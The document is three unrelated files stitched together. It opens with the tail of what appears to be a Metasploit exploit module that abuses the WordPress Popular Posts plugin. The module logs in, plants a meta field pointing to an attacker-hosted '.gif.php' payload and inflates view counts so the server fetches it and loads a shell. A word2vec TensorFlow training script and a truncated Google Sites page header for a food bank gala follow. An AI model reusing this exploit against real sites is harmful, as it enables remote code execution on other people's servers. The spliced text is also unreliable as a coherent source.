res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end
yukubo
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Multi-threaded word2vec mini-batched skip-gram model. Trains the model described in: (Mikolov, et. al.) Efficient Estimation of Word Representations in Vector Space ICLR 2013. http://arxiv.org/abs/1301.3781 This model does traditional minibatching. The key ops used are: * placeholder for feeding in tensors for each example. * embedding_lookup for fetching rows from the embedding matrix. * sigmoid_cross_entropy_with_logits to calculate the loss. * GradientDescentOptimizer for optimizing the loss. * skipgram custom op that does input processing. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import threading import time from six.moves import xrange # pylint: disable=redefined-builtin import numpy as np import tensorflow as tf from tensorflow.models.embedding import gen_word2vec as word2vec flags = tf.app.flags flags.DEFINE_string("save_path", None, "Directory to write the model and " "training summaries.") flags.DEFINE_string("train_data", None, "Training text file. " "E.g., unzipped file http://mattmahoney.net/dc/text8.zip.") flags.DEFINE_string( "eval_data", None, "File consisting of analogies of four tokens." "embedding 2 - embedding 1 + embedding 3 should be close " "to embedding 4." "E.g. https://word2vec.googlecode.com/svn/trunk/questions-words.txt.") flags.DEFINE_integer("embedding_size", 200, "The embedding dimension size.") flags.DEFINE_integer( "epochs_to_train", 15, "Number of epochs to train. Each epoch processes the training data once " "completely.") flags.DEFINE_float("learning_rate", 0.2, "Initial learning rate.") flags.DEFINE_integer("num_neg_samples", 100, "Negative samples per training example.") flags.DEFINE_integer("batch_size", 16, "Number of training examples processed per step " "(size of a minibatch).") flags.DEFINE_integer("concurrent_steps", 12, "The number of concurrent training steps.") flags.DEFINE_integer("window_size", 5, "The number of words to predict to the left and right " "of the target word.") flags.DEFINE_integer("min_count", 5, "The minimum number of word occurrences for it to be " "included in the vocabulary.") flags.DEFINE_float("subsample", 1e-3, "Subsample threshold for word occurrence. Words that appear " "with higher frequency will be randomly down-sampled. Set " "to 0 to disable.") flags.DEFINE_boolean( "interactive", False, "If true, enters an IPython interactive session to play with the trained " "model. E.g., try model.analogy('france', 'paris', 'russia') and " "model.nearby(['proton', 'elephant', 'maxwell']") flags.DEFINE_integer("statistics_interval", 5, "Print statistics every n seconds.") flags.DEFINE_integer("summary_interval", 5, "Save training summary to file every n seconds (rounded " "up to statistics interval.") flags.DEFINE_integer("checkpoint_interval", 600, "Checkpoint the model (i.e. save the parameters) every n " "seconds (rounded up to statistics interval.") FLAGS = flags.FLAGS class Options(object): """Options used by our word2vec model.""" def __init__(self): # Model options. # Embedding dimension. self.emb_dim = FLAGS.embedding_size # Training options. # The training text file. self.train_data = FLAGS.train_data # Number of negative samples per example. self.num_samples = FLAGS.num_neg_samples # The initial learning rate. self.learning_rate = FLAGS.learning_rate # Number of epochs to train. After these many epochs, the learning # rate decays linearly to zero and the training stops. self.epochs_to_train = FLAGS.epochs_to_train # Concurrent training steps. self.concurrent_steps = FLAGS.concurrent_steps # Number of examples for one training step. self.batch_size = FLAGS.batch_size # The number of words to predict to the left and right of the target word. self.window_size = FLAGS.window_size # The minimum number of word occurrences for it to be included in the # vocabulary. self.min_count = FLAGS.min_count # Subsampling threshold for word occurrence. self.subsample = FLAGS.subsample # How often to print statistics. self.statistics_interval = FLAGS.statistics_interval # How often to write to the summary file (rounds up to the nearest # statistics_interval). self.summary_interval = FLAGS.summary_interval # How often to write checkpoints (rounds up to the nearest statistics # interval). self.checkpoint_interval = FLAGS.checkpoint_interval # Where to write out summaries. self.save_path = FLAGS.save_path # Eval options. # The text file for eval. self.eval_data = FLAGS.eval_data class Word2Vec(object): """Word2Vec model (Skipgram).""" def __init__(self, options, session): self._options = options self._session = session self._word2id = {} self._id2word = [] self.build_graph() self.build_eval_graph() self.save_vocab() self._read_analogies() def _read_analogies(self): """Reads through the analogy question file. Returns: questions: a [n, 4] numpy array containing the analogy question's word ids. questions_skipped: questions skipped due to unknown words. """ questions = [] questions_skipped = 0 with open(self._options.eval_data, "rb") as analogy_f: for line in analogy_f: if line.startswith(b":"): # Skip comments. continue words = line.strip().lower().split(b" ") ids = [self._word2id.get(w.strip()) for w in words] if None in ids or len(ids) != 4: questions_skipped += 1 else: questions.append(np.array(ids)) print("Eval analogy file: ", self._options.eval_data) print("Questions: ", len(questions)) print("Skipped: ", questions_skipped) self._analogy_questions = np.array(questions, dtype=np.int32) def forward(self, examples, labels): """Build the graph for the forward pass.""" opts = self._options # Declare all variables we need. # Embedding: [vocab_size, emb_dim] init_width = 0.5 / opts.emb_dim emb = tf.Variable( tf.random_uniform( [opts.vocab_size, opts.emb_dim], -init_width, init_width), name="emb") self._emb = emb # Softmax weight: [vocab_size, emb_dim]. Transposed. sm_w_t = tf.Variable( tf.zeros([opts.vocab_size, opts.emb_dim]), name="sm_w_t") # Softmax bias: [emb_dim]. sm_b = tf.Variable(tf.zeros([opts.vocab_size]), name="sm_b") # Global step: scalar, i.e., shape []. self.global_step = tf.Variable(0, name="global_step") # Nodes to compute the nce loss w/ candidate sampling. labels_matrix = tf.reshape( tf.cast(labels, dtype=tf.int64), [opts.batch_size, 1]) # Negative sampling. sampled_ids, _, _ = (tf.nn.fixed_unigram_candidate_sampler( true_classes=labels_matrix, num_true=1, num_sampled=opts.num_samples, unique=True, range_max=opts.vocab_size, distortion=0.75, unigrams=opts.vocab_counts.tolist())) # Embeddings for examples: [batch_size, emb_dim] example_emb = tf.nn.embedding_lookup(emb, examples) # Weights for labels: [batch_size, emb_dim] true_w = tf.nn.embedding_lookup(sm_w_t, labels) # Biases for labels: [batch_size, 1] true_b = tf.nn.embedding_lookup(sm_b, labels) # Weights for sampled ids: [num_sampled, emb_dim] sampled_w = tf.nn.embedding_lookup(sm_w_t, sampled_ids) # Biases for sampled ids: [num_sampled, 1] sampled_b = tf.nn.embedding_lookup(sm_b, sampled_ids) # True logits: [batch_size, 1] true_logits = tf.reduce_sum(tf.mul(example_emb, true_w), 1) + true_b # Sampled logits: [batch_size, num_sampled] # We replicate sampled noise lables for all examples in the batch # using the matmul. sampled_b_vec = tf.reshape(sampled_b, [opts.num_samples]) sampled_logits = tf.matmul(example_emb, sampled_w, transpose_b=True) + sampled_b_vec return true_logits, sampled_logits def nce_loss(self, true_logits, sampled_logits): """Build the graph for the NCE loss.""" # cross-entropy(logits, labels) opts = self._options true_xent = tf.nn.sigmoid_cross_entropy_with_logits( true_logits, tf.ones_like(true_logits)) sampled_xent = tf.nn.sigmoid_cross_entropy_with_logits( sampled_logits, tf.zeros_like(sampled_logits)) # NCE-loss is the sum of the true and noise (sampled words) # contributions, averaged over the batch. nce_loss_tensor = (tf.reduce_sum(true_xent) + tf.reduce_sum(sampled_xent)) / opts.batch_size return nce_loss_tensor def optimize(self, loss): """Build the graph to optimize the loss function.""" # Optimizer nodes. # Linear learning rate decay. opts = self._options words_to_train = float(opts.words_per_epoch * opts.epochs_to_train) lr = opts.learning_rate * tf.maximum( 0.0001, 1.0 - tf.cast(self._words, tf.float32) / words_to_train) self._lr = lr optimizer = tf.train.GradientDescentOptimizer(lr) train = optimizer.minimize(loss, global_step=self.global_step, gate_gradients=optimizer.GATE_NONE) self._train = train def build_eval_graph(self): """Build the eval graph.""" # Eval graph # Each analogy task is to predict the 4th word (d) given three # words: a, b, c. E.g., a=italy, b=rome, c=france, we should # predict d=paris. # The eval feeds three vectors of word ids for a, b, c, each of # which is of size N, where N is the number of analogies we want to # evaluate in one batch. analogy_a = tf.placeholder(dtype=tf.int32) # [N] analogy_b = tf.placeholder(dtype=tf.int32) # [N] analogy_c = tf.placeholder(dtype=tf.int32) # [N] # Normalized word embeddings of shape [vocab_size, emb_dim]. nemb = tf.nn.l2_normalize(self._emb, 1) # Each row of a_emb, b_emb, c_emb is a word's embedding vector. # They all have the shape [N, emb_dim] a_emb = tf.gather(nemb, analogy_a) # a's embs b_emb = tf.gather(nemb, analogy_b) # b's embs c_emb = tf.gather(nemb, analogy_c) # c's embs # We expect that d's embedding vectors on the unit hyper-sphere is # near: c_emb + (b_emb - a_emb), which has the shape [N, emb_dim]. target = c_emb + (b_emb - a_emb) # Compute cosine distance between each pair of target and vocab. # dist has shape [N, vocab_size]. dist = tf.matmul(target, nemb, transpose_b=True) # For each question (row in dist), find the top 4 words. _, pred_idx = tf.nn.top_k(dist, 4) # Nodes for computing neighbors for a given word according to # their cosine distance. nearby_word = tf.placeholder(dtype=tf.int32) # word id nearby_emb = tf.gather(nemb, nearby_word) nearby_dist = tf.matmul(nearby_emb, nemb, transpose_b=True) nearby_val, nearby_idx = tf.nn.top_k(nearby_dist, min(1000, self._options.vocab_size)) # Nodes in the construct graph which are used by training and # evaluation to run/feed/fetch. self._analogy_a = analogy_a self._analogy_b = analogy_b self._analogy_c = analogy_c self._analogy_pred_idx = pred_idx self._nearby_word = nearby_word self._nearby_val = nearby_val self._nearby_idx = nearby_idx def build_graph(self): """Build the graph for the full model.""" opts = self._options # The training data. A text file. (words, counts, words_per_epoch, self._epoch, self._words, examples, labels) = word2vec.skipgram(filename=opts.train_data, batch_size=opts.batch_size, window_size=opts.window_size, min_count=opts.min_count, subsample=opts.subsample) (opts.vocab_words, opts.vocab_counts, opts.words_per_epoch) = self._session.run([words, counts, words_per_epoch]) opts.vocab_size = len(opts.vocab_words) print("Data file: ", opts.train_data) print("Vocab size: ", opts.vocab_size - 1, " + UNK") print("Words per epoch: ", opts.words_per_epoch) self._examples = examples self._labels = labels self._id2word = opts.vocab_words for i, w in enumerate(self._id2word): self._word2id[w] = i true_logits, sampled_logits = self.forward(examples, labels) loss = self.nce_loss(true_logits, sampled_logits) tf.scalar_summary("NCE loss", loss) self._loss = loss self.optimize(loss) # Properly initialize all variables. tf.initialize_all_variables().run() self.saver = tf.train.Saver() def save_vocab(self): """Save the vocabulary to a file so the model can be reloaded.""" opts = self._options with open(os.path.join(opts.save_path, "vocab.txt"), "w") as f: for i in xrange(opts.vocab_size): f.write("%s %d\n" % (tf.compat.as_text(opts.vocab_words[i]), opts.vocab_counts[i])) def _train_thread_body(self): initial_epoch, = self._session.run([self._epoch]) while True: _, epoch = self._session.run([self._train, self._epoch]) if epoch != initial_epoch: break def train(self): """Train the model.""" opts = self._options initial_epoch, initial_words = self._session.run([self._epoch, self._words]) summary_op = tf.merge_all_summaries() summary_writer = tf.train.SummaryWriter(opts.save_path, graph_def=self._session.graph_def) workers = [] for _ in xrange(opts.concurrent_steps): t = threading.Thread(target=self._train_thread_body) t.start() workers.append(t) last_words, last_time, last_summary_time = initial_words, time.time(), 0 last_checkpoint_time = 0 while True: time.sleep(opts.statistics_interval) # Reports our progress once a while. (epoch, step, loss, words, lr) = self._session.run( [self._epoch, self.global_step, self._loss, self._words, self._lr]) now = time.time() last_words, last_time, rate = words, now, (words - last_words) / ( now - last_time) print("Epoch %4d Step %8d: lr = %5.3f loss = %6.2f words/sec = %8.0f\r" % (epoch, step, lr, loss, rate), end="") sys.stdout.flush() if now - last_summary_time > opts.summary_interval: summary_str = self._session.run(summary_op) summary_writer.add_summary(summary_str, step) last_summary_time = now if now - last_checkpoint_time > opts.checkpoint_interval: self.saver.save(self._session, opts.save_path + "model", global_step=step.astype(int)) last_checkpoint_time = now if epoch != initial_epoch: break for t in workers: t.join() return epoch def _predict(self, analogy): """Predict the top 4 answers for analogy questions.""" idx, = self._session.run([self._analogy_pred_idx], { self._analogy_a: analogy[:, 0], self._analogy_b: analogy[:, 1], self._analogy_c: analogy[:, 2] }) return idx def eval(self): """Evaluate analogy questions and reports accuracy.""" # How many questions we get right at precision@1. correct = 0 total = self._analogy_questions.shape[0] start = 0 while start < total: limit = start + 2500 sub = self._analogy_questions[start:limit, :] idx = self._predict(sub) start = limit for question in xrange(sub.shape[0]): for j in xrange(4): if idx[question, j] == sub[question, 3]: # Bingo! We predicted correctly. E.g., [italy, rome, france, paris]. correct += 1 break elif idx[question, j] in sub[question, :3]: # We need to skip words already in the question. continue else: # The correct label is not the precision@1 break print() print("Eval %4d/%d accuracy = %4.1f%%" % (correct, total, correct * 100.0 / total)) def analogy(self, w0, w1, w2): """Predict word w3 as in w0:w1 vs w2:w3.""" wid = np.array([[self._word2id.get(w, 0) for w in [w0, w1, w2]]]) idx = self._predict(wid) for c in [self._id2word[i] for i in idx[0, :]]: if c not in [w0, w1, w2]: return c return "unknown" def nearby(self, words, num=20): """Prints out nearby words given a list of words.""" ids = np.array([self._word2id.get(x, 0) for x in words]) vals, idx = self._session.run( [self._nearby_val, self._nearby_idx], {self._nearby_word: ids}) for i in xrange(len(words)): print("\n%s\n=====================================" % (words[i])) for (neighbor, distance) in zip(idx[i, :num], vals[i, :num]): print("%-20s %6.4f" % (self._id2word[neighbor], distance)) def _start_shell(local_ns=None): # An interactive shell is useful for debugging/development. import IPython user_ns = {} if local_ns: user_ns.update(local_ns) user_ns.update(globals()) IPython.start_ipython(argv=[], user_ns=user_ns) def main(_): """Train a word2vec model.""" if not FLAGS.train_data or not FLAGS.eval_data or not FLAGS.save_path: print("--train_data --eval_data and --save_path must be specified.") sys.exit(1) opts = Options() with tf.Graph().as_default(), tf.Session() as session: with tf.device("/cpu:0"): model = Word2Vec(opts, session) for _ in xrange(opts.epochs_to_train): model.train() # Process one epoch model.eval() # Eval analogies. # Perform a final save. model.saver.save(session, os.path.join(opts.save_path, "model.ckpt"), global_step=model.global_step) if FLAGS.interactive: # E.g., # [0]: model.analogy('france', 'paris', 'russia') # [1]: model.nearby(['proton', 'elephant', 'maxwell']) _start_shell(locals()) if __name__ == "__main__": tf.app.run()
eline138
<!DOCTYPE html><html lang="en" itemscope itemtype="http://schema.org/WebPage"><head><meta charset="utf-8"><script nonce="dJWtMAFtmjuzNhlJ8bIveA">var DOCS_timing={}; DOCS_timing['sl']=new Date().getTime();</script><script nonce="dJWtMAFtmjuzNhlJ8bIveA">function _DumpException(e) {throw e;}</script><script nonce="dJWtMAFtmjuzNhlJ8bIveA">_docs_flag_initialData={"atari-emtpr":false,"atari-efpe":false,"atari-etsm":false,"atari-etss":false,"docs-sup":"","docs-eldi":false,"docs-ecci":false,"docs-eeii":false,"docs-ipmmp":true,"docs-esi":false,"docs-liap":"/logImpressions","ilcm":{"eui":"AHKXmL1MGF1ekJwZ7ImMIsBqcBQsznld2L-cmkD1fvo3__hVRKGz2kgjuuVlAmTuk11wub40VroJ","je":1,"sstu":1641425483752000,"si":"CKzFibfim_UCFYvETwodiz4BJA","gsc":null,"ei":[5703839,5704621,5706832,5706836,5707711,5708870,5711808,5711977,5713207,5714550,5714628,5720060,5720927,5729666,5732944,5734573,5734956,5735808,5737339,5738511,5738531,5739804,5739899,5740816,5741777,5742464,5743126,5745624,5747265,5747743,5748031,5750554,5752696,5753008,5753331,5754231,5755040,14101306,14101502,14101510,14101530,14101534],"crc":0,"cvi":[]},"docs-ccdil":false,"docs-eil":true,"docs-eoi":false,"info_params":{"token":"AHL0AtJIu8EZKv94yZDQhDCZvsbjS2KbEQ:1641425483672"},"atari-jefp":"/_/view/jserror","docs-jern":"view","atari-rhpp":"/_/view"}; _docs_flag_cek= null ; if (window['DOCS_timing']) {DOCS_timing['ifdld']=new Date().getTime();}</script><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=no"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="referrer" content="strict-origin-when-cross-origin"><link rel="icon" href="https://lh4.googleusercontent.com/ANXYZSl-XnFgMkKOAqMA8kvaAkKhUbDGvB950L2GhgtIrOuA3WPqk8zXZ29ofKZlrZYPO4vaucoNmY5rVsZoaoGmI1BF3zy7U6WGxPHeP-PrdyCY"><meta property="og:title" content="Coloradofoodabankvirtualgala2022"><meta property="og:type" content="website"><meta property="og:url" content="https://sites.google.com/lpsk12.org/coloradofoodabankvirtualgala22/home"><meta property="og:description" content=" King Soopers "><meta itemprop="name" content="Coloradofoodabankvirtualgala2022"><meta itemprop="description" content=" King Soopers "><meta itemprop="url" content="https://sites.google.com/lpsk12.org/coloradofoodabankvirtualgala22/home"><meta itemprop="thumbnailUrl" content="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383"><meta itemprop="image" content="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383"><meta itemprop="imageUrl" content="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383"><meta property="og:image" content="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383"><link href="https://fonts.googleapis.com/css?family=Google+Sans_old:400,500|Roboto:300,400,500,700|Source+Code+Pro:400,700&display=swap" rel="stylesheet" nonce="9lOp92mAeDO1+qe+++OenA"><link href="https://fonts.googleapis.com/css?family=Amiri%3Ai%2Cbi%2C700%2C400%7CAmiko%3Ai%2Cbi%2C700%2C400&display=swap" rel="stylesheet" nonce="9lOp92mAeDO1+qe+++OenA"><link rel="stylesheet" href="https://www.gstatic.com/_/atari/_/ss/k=atari.vw.XD0uDDKJyYg.L.W.O/d=1/rs=AGEqA5mXdsNpZ-quo4B_c_bQGyxcVhUiRw" nonce="9lOp92mAeDO1+qe+++OenA"><title>Coloradofoodabankvirtualgala2022</title><style jsname="ptDGoc" nonce="9lOp92mAeDO1+qe+++OenA">.htnAL{height: 27.0pt; font-size: 12.0pt; font-family: Amiri; font-weight: 400;}.QmpIrf{background-color: rgba(148,113,108,1); color: rgba(249,249,249,1); border-color: rgba(148,113,108,1);}.xkUom{background-color: rgba(0,0,0,0); color: rgba(204,67,49,1); border-color: rgba(204,67,49,1);}.KjwKmc{background-color: rgba(0,0,0,0); color: rgba(204,67,49,1); border-color: rgba(0,0,0,0);}.qeLZfd .QmpIrf{background-color: rgba(204,67,49,1); color: rgba(249,249,249,1); border-color: rgba(204,67,49,1);}.qeLZfd .xkUom{background-color: rgba(0,0,0,0); color: rgba(28,28,28,1); border-color: rgba(28,28,28,1);}.qeLZfd .KjwKmc{background-color: rgba(0,0,0,0); color: rgba(28,28,28,1); border-color: rgba(0,0,0,0);}.lQAHbd .QmpIrf{background-color: rgba(204,67,49,1); color: rgba(249,249,249,1); border-color: rgba(204,67,49,1);}.lQAHbd .xkUom{background-color: rgba(0,0,0,0); color: rgba(249,249,249,1); border-color: rgba(249,249,249,1);}.lQAHbd .KjwKmc{background-color: rgba(0,0,0,0); color: rgba(249,249,249,1); border-color: rgba(0,0,0,0);}.tpmmCb .QmpIrf{background-color: rgba(204,67,49,1); color: rgba(249,249,249,1); border-color: rgba(204,67,49,1);}.tpmmCb .xkUom{background-color: rgba(0,0,0,0); color: rgba(204,67,49,1); border-color: rgba(204,67,49,1);}.tpmmCb .KjwKmc{background-color: rgba(0,0,0,0); color: rgba(204,67,49,1); border-color: rgba(0,0,0,0);}.nyKByd .QmpIrf{background-color: rgba(204,67,49,1); color: rgba(249,249,249,1); border-color: rgba(204,67,49,1);}.nyKByd .xkUom{background-color: rgba(0,0,0,0); color: rgba(249,249,249,1); border-color: rgba(249,249,249,1);}.nyKByd .KjwKmc{background-color: rgba(0,0,0,0); color: rgba(249,249,249,1); border-color: rgba(0,0,0,0);}.iwQgFb{background-color: rgba(0,0,0,0.150000006); height: 2.0px; margin-top: 8.5px;}.qeLZfd .iwQgFb{background-color: rgba(0,0,0,0.150000006); height: 2.0px; margin-top: 8.5px;}.lQAHbd .iwQgFb{background-color: rgba(255,255,255,0.200000003); height: 2.0px; margin-top: 8.5px;}.CbiMKe{background-color: rgba(204,67,49,1);}.qeLZfd .CbiMKe{background-color: rgba(204,67,49,1);}.lQAHbd .CbiMKe{background-color: rgba(204,67,49,1);}.tpmmCb .CbiMKe{background-color: rgba(204,67,49,1);}.nyKByd .CbiMKe{background-color: rgba(204,67,49,1);}.PsKE7e{font-family: Amiri;}.TlfmSc{font-family: Amiri;}.Zjiec{font-family: Amiri;}@media only screen and (max-width: 479px){.TlfmSc{font-size: 13.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.TlfmSc{font-size: 14.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.TlfmSc{font-size: 15.0pt;}}@media only screen and (min-width: 1280px){.TlfmSc{font-size: 15.0pt;}}@media only screen and (max-width: 479px){.Zjiec{font-size: 16.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.Zjiec{font-size: 18.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.Zjiec{font-size: 20.0pt;}}@media only screen and (min-width: 1280px){.Zjiec{font-size: 20.0pt;}}@media only screen and (max-width: 479px){.PsKE7e{font-size: 12.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.PsKE7e{font-size: 12.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.PsKE7e{font-size: 12.0pt;}}@media only screen and (min-width: 1280px){.PsKE7e{font-size: 12.0pt;}}.IKA38e{margin-top: 16.0px;}.eWDljc{padding-top: 0; padding-bottom: 16.0px;}.Zjiec{margin: 48px 32px 62px 48px;}.XMyrgf{margin: 48px 32px 0 48px;}.JzO0Vc{background-color: rgba(28,28,28,1);}.zDUgLc{background-color: rgba(28,28,28,1);}.eWDljc{background-color: rgba(28,28,28,1);}.wgxiMe{background-color: rgba(28,28,28,1);}.YSH9J{color: rgba(249,249,249,1);}.oNsfjf{color: rgba(249,249,249,1);}.YSH9J:not(.iWs3gf):not(.TlfmSc):not(.M9vuGd):hover{color: rgba(249,249,249,0.8199999928);}.oNsfjf:not(.iWs3gf):not(.Zjiec):not(.lhZOrc):hover{color: rgba(249,249,249,0.8199999928);}.fOU46b .zDUgLc{opacity: 0;}.fOU46b .LBrwzc .zDUgLc{opacity: 1;}.fOU46b .GBy4H .zDUgLc{opacity: 1;}.fOU46b .HP6J1d .YSH9J{color: rgba(249,249,249,1);}.fOU46b .HP6J1d .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(249,249,249,0.8199999928);}.fOU46b .G8QRnc .YSH9J{color: rgba(28,28,28,1);}.fOU46b .G8QRnc .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(28,28,28,0.8199999928);}.fOU46b .usN8rf .YSH9J{color: rgba(28,28,28,1);}.fOU46b .usN8rf .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(28,28,28,0.8199999928);}.fOU46b .aCIEDd .YSH9J{color: rgba(28,28,28,1);}.fOU46b .aCIEDd .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(28,28,28,0.8199999928);}.fOU46b .a3ETed .YSH9J{color: 